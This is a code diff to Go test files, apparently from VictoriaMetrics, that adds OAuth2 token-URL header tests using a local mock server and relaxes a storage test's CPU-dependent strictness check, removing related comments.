@@ -201,6 +201,16 @@ oauth2:
   proxy_url: ":invalid-proxy-url"
 `)
 
+	// oauth2: invalid headers (missing colon)
+	f(`
+oauth2:
+  client_id: some-id
+  client_secret: some-secret
+  token_url: http://some-url
+  headers:
+  - "InvalidHeader"
+`)
+
 	// tls_config: invalid ca
 	f(`
 tls_config:
@@ -611,6 +621,45 @@ func TestConfigHeaders(t *testing.T) {
 	f([]string{"Foo-Bar: Baz s:sdf", "A:b", "X-Forwarded-For: A-B:c"}, "Foo-Bar: Baz s:sdf\r\nA: b\r\nX-Forwarded-For: A-B:c\r\n")
 }
 
+func TestOAuth2TokenURLHeaders(t *testing.T) {
+	var receivedAccept string
+	r := http.NewServeMux()
+	r.HandleFunc("/", func(w http.ResponseWriter, req *http.Request) {
+		receivedAccept = req.Header.Get("Accept")
+		w.Header().Set("Content-Type", "application/json")
+		w.Write([]byte(`{"access_token":"test-oauth2-token","token_type":"Bearer"}`))
+	})
+	mock := httptest.NewServer(r)
+	defer mock.Close()
+
+	var hcc HTTPClientConfig
+	if err := yaml.UnmarshalStrict([]byte(`
+oauth2:
+  client_id: some-id
+  client_secret: some-secret
+  token_url: replace-with-mock-url
+  headers:
+  - "Accept: application/json"
+`), &hcc); err != nil {
+		t.Fatalf("cannot unmarshal config: %s", err)
+	}
+	hcc.OAuth2.TokenURL = mock.URL
+	cfg, err := hcc.NewConfig("")
+	if err != nil {
+		t.Fatalf("cannot initialize config: %s", err)
+	}
+	ah, err := cfg.GetAuthHeader()
+	if err != nil {
+		t.Fatalf("unexpected error from GetAuthHeader(): %s", err)
+	}
+	if ah != "Bearer test-oauth2-token" {
+		t.Fatalf("unexpected auth header; got %q; want %q", ah, "Bearer test-oauth2-token")
+	}
+	if receivedAccept != "application/json" {
+		t.Fatalf("token_url did not receive expected Accept header; got %q", receivedAccept)
+	}
+}
+
 func TestTLSConfigWithCertificatesFilesUpdate(t *testing.T) {
 	// Generate and save a self-signed CA certificate and a certificate signed by the CA
 	caPEM, certPEM, keyPEM := mustGenerateCertificates(t)

lib/storage/storage_test.go

@@ -7,7 +7,6 @@ import (
 	"os"
 	"path/filepath"
 	"reflect"
-	"runtime"
 	"slices"
 	"sort"
 	"strings"
@@ -3536,15 +3535,8 @@ func testStorageVariousDataPatterns(t *testing.T, disablePerDayIndex, registerOn
 			sameBatchDates:       sameBatchDates,
 			sameRowDates:         sameRowDates,
 		})
-		// The TestStorageAddRowsForVariousDataPatternsConcurrently/perDayIndexes/serial/sameBatchMetrics/sameRowMetrics/sameBatchDates/diffRowDates
-		// test fails once the indexDB is rotated. This happens reliably when the number
-		// of CPUs is 1. See: https://github.com/VictoriaMetrics/VictoriaMetrics/issues/8654.
-		//
-		// With the higher number of CPUs this failure is very rare.
-		// Temporarily relax the strict equality requirement for got and want
-		// data until this fixed. It is known why the test is failing but the
-		// fix may be non-trivial, See: https://github.com/VictoriaMetrics/VictoriaMetrics/issues/8948
-		strict := concurrency == 1 && runtime.NumCPU() > 1
+
+		strict := concurrency == 1
 		rowsAddedTotal := wantCounts.metrics.RowsAddedTotal
 
 		s := MustOpenStorage(t.Name(), OpenOptions{
@@ -3555,9 +3547,6 @@ func testStorageVariousDataPatterns(t *testing.T, disablePerDayIndex, registerOn
 		s.DebugFlush()
 		assertCounts(t, s, wantCounts, strict)
 
-		// TODO(rtm0): Add a case when a metricID is present in TSID cache but
-		// not in partition idb.
-
 		// Empty the tsidCache to test the case when tsid is retrieved from the
 		// index.
 		s.resetAndSaveTSIDCache()
@@ -3566,9 +3555,6 @@ func testStorageVariousDataPatterns(t *testing.T, disablePerDayIndex, registerOn
 		wantCounts.metrics.RowsAddedTotal += rowsAddedTotal
 		assertCounts(t, s, wantCounts, strict)
 
-		// TODO(rtm0): Add a case when a metricID is present in legacy IDB but
-		// not in partition idb.
-
 		s.MustClose()
 	}